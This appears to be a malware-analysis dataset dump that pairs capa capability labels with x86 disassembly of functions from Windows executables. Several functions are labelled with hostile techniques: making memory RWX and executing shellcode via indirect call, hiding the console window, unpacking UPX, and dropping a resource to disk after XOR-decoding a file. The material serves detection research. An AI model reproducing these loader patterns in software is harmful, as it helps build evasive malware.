joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5003ec
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x50bd80
call fcn.00500660
xor ebx, ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x500429
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x500429
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x500441
cmp eax, 0x20b
je 0x50042e
mov dword [ebp - 0x1c], ebx
jmp 0x500455
cmp dword [ecx + 0x84], 0xe
jbe 0x500429
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x50044f
cmp dword [ecx + 0x74], 0xe
jbe 0x500429
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.MSVCR70.dll___set_app_type]
pop ecx
or dword [0x5bffec], 0xffffffff
or dword [0x5bfff0], 0xffffffff
call dword [sym.imp.MSVCR70.dll___p__fmode]
mov ecx, dword [0x5bf388]
mov dword [eax], ecx
call dword [sym.imp.MSVCR70.dll___p__commode]
mov ecx, dword [0x5bf384]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR70.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x5bffe8], eax
call fcn.005006d0
call fcn.00500779
cmp dword [0x50e460], ebx
jne 0x5004b5
push 0x500776
call dword [sym.imp.MSVCR70.dll___setusermatherr]
pop ecx
call fcn.0050075e
push 0x50d024
push 0x50d020
call sub.MSVCR70.dll__initterm
push 0x500714
call fcn.004fffd8
mov eax, dword [0x5bf380]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x5bf37c]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR70.dll___getmainargs]
add esp, 0x20
mov dword [ebp - 0x30], eax
cmp eax, ebx
jge 0x500509
push 8
call sub.MSVCR70.dll__amsg_exit
pop ecx
push 0x50d01c
push section..data
call sub.MSVCR70.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR70.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x34], esi
cmp byte [esi], 0x22
jne 0x500563
inc esi
mov dword [ebp - 0x34], esi
mov al, byte [esi]
cmp al, bl
je 0x500537
cmp al, 0x22
jne 0x500529
cmp byte [esi], 0x22
jne 0x500540
inc esi
mov dword [ebp - 0x34], esi
mov al, byte [esi]
cmp al, bl
je 0x50054a
cmp al, 0x20
jbe 0x50053c
mov dword [ebp - 0x4c], ebx
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x4c], 1
je 0x50056e
movzx eax, word [ebp - 0x48]
jmp 0x500571
cmp byte [esi], 0x20
jbe 0x500540
inc esi
mov dword [ebp - 0x34], esi
jmp 0x500563
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call fcn.00498900
mov esi, eax
mov dword [ebp - 0x7c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x50058e
push esi
call dword [sym.imp.MSVCR70.dll_exit]
call dword [sym.imp.MSVCR70.dll__cexit]
jmp 0x5005c3
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0050069b
ret
Function at 0x401b30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
jmp 0x401b48
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x35a4e901
jge 0x401b66
cmp dword [ebp - 4], 0x35a4e900
jne 0x401b64
mov dword [0x515070], 0x116100
jmp 0x401b3f
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [0x515070]
add ecx, eax
mov dword [0x515070], ecx
mov dword [ebp - 8], 0
mov edx, dword [0x515070]
mov dword [ebp - 8], edx
mov eax, 4
imul ecx, eax, 0x12
mov edx, dword [ecx + section..mdd]
mov dword [ebp - 0xc], edx
lea eax, [ebp - 0x10]
push eax
push 0x40
push 0xc00
mov ecx, dword [0x515070]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x401bde
push 0x180
mov edx, dword [0x515070]
push edx
call section..text
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [ebp - 8]
jmp 0x401b9d
lea eax, [ebp - 0x14]
push eax
push 0x414b54
call dword [sym.imp.api_ms_win_core_version_l1_1_1.dll_GetFileVersionInfoSizeW]
mov ecx, 4
imul edx, ecx, 0x3e7
mov eax, dword [edx + 0x4167d4]
mov dword [ebp - 0x18], eax
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x401d19
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x41b008]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
xor eax, eax
push eax
push eax
push 0x40123d
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push 1
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.0040303d
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40fc34
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41b008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00409cdd
mov dword [ebp - 0x14], eax
cmp dword [0x41d240], esi
jne 0x40fd27
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40fcb4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40fe07
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40fe07
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40fe07
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x41d240], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x41d244], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x41d248], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41d250], eax
test eax, eax
je 0x40fd24
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41d24c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40fd4c
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40fd3f
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40fd61
push 4
pop eax
jmp 0x40fe09
cmp dword [ebp - 0x14], esi
je 0x40fd61
push dword [0x41d240]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40fd46
mov eax, dword [0x41d24c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40fdbf
cmp dword [0x41d250], edi
je 0x40fdbf
push eax
call ebx
push dword [0x41d250]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40fdbf
test eax, eax
je 0x40fdbf
call ecx
test eax, eax
je 0x40fdb4
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40fdb4
test byte [ebp - 8], 1
jne 0x40fdbf
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40fdef
mov eax, dword [0x41d244]
cmp eax, edi
je 0x40fdec
push eax
call ebx
test eax, eax
je 0x40fdec
call eax
mov esi, eax
test esi, esi
je 0x40fdec
mov eax, dword [0x41d248]
cmp eax, edi
je 0x40fdec
push eax
call ebx
test eax, eax
je 0x40fdec
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x41d240]
call ebx
test eax, eax
je 0x40fe07
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40fe09
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040303d
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401028
mov dword [ebp - 4], 0x13838
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetWindowModuleFileNameW]
test eax, eax
jne 0x40104d
lea ecx, [ebp - 0xc]
push ecx
push 0x40
push 0x9a8
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x9a8
mov eax, dword [ebp - 4]
push eax
call fcn.00401290
add esp, 8
lea edx, [0x413838]
mov eax, edx
mov ebx, dword [ebp - 4]
push ebx
push eax
xchg ebx, ecx
push ebx
lea edx, [0x423238]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x10], eax
call dword [esp + 0xc]
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x16e2c10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf72000]
push edi
or ebp, 0xffffffff
jmp 0x16e2c32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x16e2c39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x16e2c28
mov eax, 1
add ebx, ebx
jne 0x16e2c4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x16e2c5c
jne 0x16e2c7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x16e2c7b
dec eax
add ebx, ebx
jne 0x16e2c68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x16e2c40
add ebx, ebx
jne 0x16e2c77
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x16e2ccd
xor ecx, ecx
sub eax, 3
jb 0x16e2c93
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x16e2d02
sar eax, 1
mov ebp, eax
jmp 0x16e2c9e
add ebx, ebx
jne 0x16e2c9e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x16e2c6c
inc ecx
add ebx, ebx
jne 0x16e2cac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x16e2c6c
add ebx, ebx
jne 0x16e2cb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x16e2cae
jne 0x16e2cca
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x16e2cae
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x16e2cec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x16e2cde
jmp 0x16e2c2e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x16e2cec
add edi, ecx
jmp 0x16e2c2e
pop esi
mov edi, esi
mov ecx, 0x2add8
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x16e2d0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x16e2d0f
lea edi, [esi + 0x12dd000]
mov eax, dword [edi]
or eax, eax
je 0x16e2d77
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12e9444]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x12e9548]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x16e2d35
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x12e954c]
or eax, eax
je 0x16e2d71
mov dword [ebx], eax
add ebx, 4
jmp 0x16e2d52
call dword [esi + 0x12e955c]
mov ebp, dword [esi + 0x12e9550]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x16e2dab
sub esp, 0xffffff80
jmp 0x808f20
Function at 0x401126
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401130
repz ret
jmp fcn.004019b8

Function at 0x408290
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004024b4
xor ebx, ebx
cmp dword [0x4d967c], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x408365
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x4082d0
xor eax, eax
jmp 0x408429
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x4082c9
push eax
call fcn.00402451
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4d967c], eax
call esi
push eax
call fcn.00402451
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4d9680], eax
call esi
push eax
call fcn.00402451
mov dword [0x4d9684], eax
lea eax, [ebp - 8]
push eax
call fcn.00403db8
test eax, eax
pop ecx
pop ecx
je 0x408333
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00402b55
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x408365
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00402451
cmp eax, ebx
pop ecx
mov dword [0x4d968c], eax
je 0x408365
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402451
pop ecx
mov dword [0x4d9688], eax
mov eax, dword [0x4d9688]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x4083de
cmp dword [0x4d968c], esi
je 0x4083de
push eax
call fcn.004024bd
pop ecx
call eax
cmp eax, ebx
je 0x4083ab
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4d968c]
call fcn.004024bd
pop ecx
call eax
test eax, eax
je 0x4083ab
test byte [ebp - 0x18], 1
jne 0x4083de
lea eax, [ebp - 0xc]
push eax
call fcn.00403def
test eax, eax
pop ecx
je 0x4083c6
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00402b55
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x4083d5
or dword [ebp + 0x10], 0x200000
jmp 0x40840f
or dword [ebp + 0x10], 0x40000
jmp 0x40840f
mov eax, dword [0x4d9680]
cmp eax, esi
je 0x40840f
push eax
call fcn.004024bd
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40840f
mov eax, dword [0x4d9684]
cmp eax, esi
je 0x40840f
push dword [ebp - 4]
push eax
call fcn.004024bd
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x4d967c]
call fcn.004024bd
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4024b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
push 0
push 0
mov eax, dword [ebp - 4]
push eax
push 0x402490
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x74], eax
push 0
push 0
mov edx, dword [ebp - 4]
push edx
push 0x402e00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x78], eax
push 0
push 0
mov edx, dword [ebp - 4]
push edx
push 0x402710
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x7c], eax
push 0
push 0
push 0x10
mov ecx, dword [ebp - 4]
call fcn.00409530
mov esp, ebp
pop ebp
ret
Function at 0x402b90
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x558cd0
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x5ae9b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x5c], ecx
lea ecx, [ebp - 0x2c]
call fcn.00416500
mov dword [ebp - 4], 0
push 0x58a284
lea eax, [ebp - 0x4c]
push eax
call fcn.004069a0
add esp, 8
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x64], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x64]
call fcn.00404cf0
push ecx
mov ecx, esp
mov dword [ebp - 0x30], esp
push eax
call fcn.004084a0
mov dword [ebp - 0x68], eax
lea ecx, [ebp - 0x2c]
call fcn.004022b0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x4c]
call fcn.0040a5d0
push ecx
mov ecx, esp
mov dword [ebp - 0x50], esp
mov edx, dword [ebp + 0xc]
push edx
call fcn.0040a730
mov dword [ebp - 0x6c], eax
lea ecx, [ebp - 0x2c]
call fcn.00402250
push ecx
mov ecx, esp
mov dword [ebp - 0x54], esp
mov eax, dword [ebp + 8]
push eax
call fcn.0040a730
mov dword [ebp - 0x70], eax
lea ecx, [ebp - 0x2c]
call fcn.00418b10
mov byte [ebp - 0x71], al
mov cl, byte [ebp - 0x71]
mov byte [ebp - 0xd], cl
mov ecx, dword [ebp + 8]
call fcn.00408720
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x58], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.00416520
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x402c90
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x558c98
mov eax, dword fs:[0]
push eax
sub esp, 0x94
mov eax, dword [0x5ae9b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x7c], ecx
lea ecx, [ebp - 0x2c]
call fcn.0041c7a0
mov dword [ebp - 4], 0
push str.Mi8xLzIvMjM
lea eax, [ebp - 0x4c]
push eax
call fcn.004069a0
add esp, 8
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0x84], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x84]
call fcn.00404cf0
push ecx
mov ecx, esp
mov dword [ebp - 0x30], esp
push eax
call fcn.004084a0
mov dword [ebp - 0x88], eax
lea ecx, [ebp - 0x2c]
call fcn.00402310
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x4c]
call fcn.0040a5d0
push 0x58a2bc
lea edx, [ebp - 0x6c]
push edx
call fcn.004069a0
add esp, 8
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x90], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x90]
call fcn.00404cf0
push ecx
mov ecx, esp
mov dword [ebp - 0x50], esp
push eax
call fcn.004084a0
mov dword [ebp - 0x94], eax
lea ecx, [ebp - 0x2c]
call fcn.004022b0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x6c]
call fcn.0040a5d0
push ecx
mov ecx, esp
mov dword [ebp - 0x70], esp
mov edx, dword [ebp + 0xc]
push edx
call fcn.0040a730
mov dword [ebp - 0x98], eax
lea ecx, [ebp - 0x2c]
call fcn.00402250
push ecx
mov ecx, esp
mov dword [ebp - 0x74], esp
mov eax, dword [ebp + 8]
push eax
call fcn.0040a730
mov dword [ebp - 0x9c], eax
lea ecx, [ebp - 0x2c]
call fcn.00418b10
mov byte [ebp - 0x9d], al
mov cl, byte [ebp - 0x9d]
mov byte [ebp - 0xd], cl
mov ecx, dword [ebp + 8]
call fcn.00408720
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x78], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.0041c7c0
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x402fc0
Capabilities:
Check if file exists
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x558a98
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push esi
mov eax, dword [0x5ae9b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x10]
call fcn.00401310
mov dword [ebp - 4], 0
push 0x1c
lea eax, [ebp - 0x14]
push eax
call fcn.0041ce80
add esp, 8
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x2c], ecx
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
push eax
push str._sTemp_
lea ecx, [ebp - 0x10]
push ecx
call fcn.00406200
add esp, 0xc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.004011f0
lea ecx, [ebp - 0x10]
call fcn.00408720
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40305f
lea ecx, [ebp - 0x10]
call fcn.00408720
mov esi, eax
call fcn.0041cfa0
push 5
lea edx, [ebp - 0x18]
push edx
call fcn.00406020
add esp, 8
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x34]
push ecx
lea ecx, [ebp - 0x10]
call fcn.004086d0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x18]
call fcn.004011f0
push 0x58a334
lea ecx, [ebp - 0x10]
call fcn.00409320
push ecx
mov ecx, esp
mov dword [ebp - 0x1c], esp
lea edx, [ebp - 0x10]
push edx
call fcn.0040a730
mov dword [ebp - 0x38], eax
call fcn.00408f60
add esp, 4
mov byte [ebp - 0x39], al
movzx eax, byte [ebp - 0x39]
test eax, eax
je 0x4030d3
lea ecx, [ebp - 0x10]
call fcn.00408720
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x83
push 0x58a33c
lea ecx, [ebp - 0x10]
call fcn.00408720
push eax
mov ecx, dword [ebp - 0x24]
call fcn.004031a0
lea ecx, [ebp - 0x10]
call fcn.00408720
push eax
mov ecx, dword [ebp - 0x24]
call fcn.00404880
lea ecx, [ebp - 0x10]
push ecx
mov ecx, dword [ebp + 8]
call fcn.0040a730
mov edx, dword [ebp - 0x20]
or edx, 1
mov dword [ebp - 0x20], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004011f0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x4031a0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
push 0
push 0x100
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4031d2
xor eax, eax
jmp 0x403240
call fcn.00409570
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0xc]
push ecx
movzx edx, word [ebp + 0x10]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc
Function at 0x404880
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x14], 0
push ecx
mov ecx, esp
mov dword [ebp - 0x24], esp
mov eax, dword [ebp + 8]
push eax
call fcn.004084a0
mov dword [ebp - 0x34], eax
call fcn.0041cf30
add esp, 4
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x4048bb
mov eax, dword [ebp - 0x14]
jmp 0x404a11
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4048f0
jmp 0x4049e5
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40490a
jmp 0x4049e5
mov eax, dword [ebp - 4]
push eax
call fcn.0042a740
add esp, 4
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
jne 0x40492a
jmp 0x4049e5
mov edx, dword [ebp - 4]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
call fcn.0052b7e0
add esp, 0xc
push 0
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40495d
jmp 0x4049e5
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 4]
je 0x404967
jmp 0x4049e5
mov dword [ebp - 0x20], 0
jmp 0x404979
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 4]
jae 0x404997
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x20]
movsx eax, byte [edx]
xor eax, 6
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x20]
mov byte [ecx], al
jmp 0x404970
push 0
push 0
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
je 0x4049b6
cmp dword [ebp - 0x1c], 0
je 0x4049b8
jmp 0x4049e5
push 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4049d6
jmp 0x4049e5
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 4]
jne 0x4049e5
mov dword [ebp - 0x14], 1
cmp dword [ebp - 8], 0
je 0x404a04
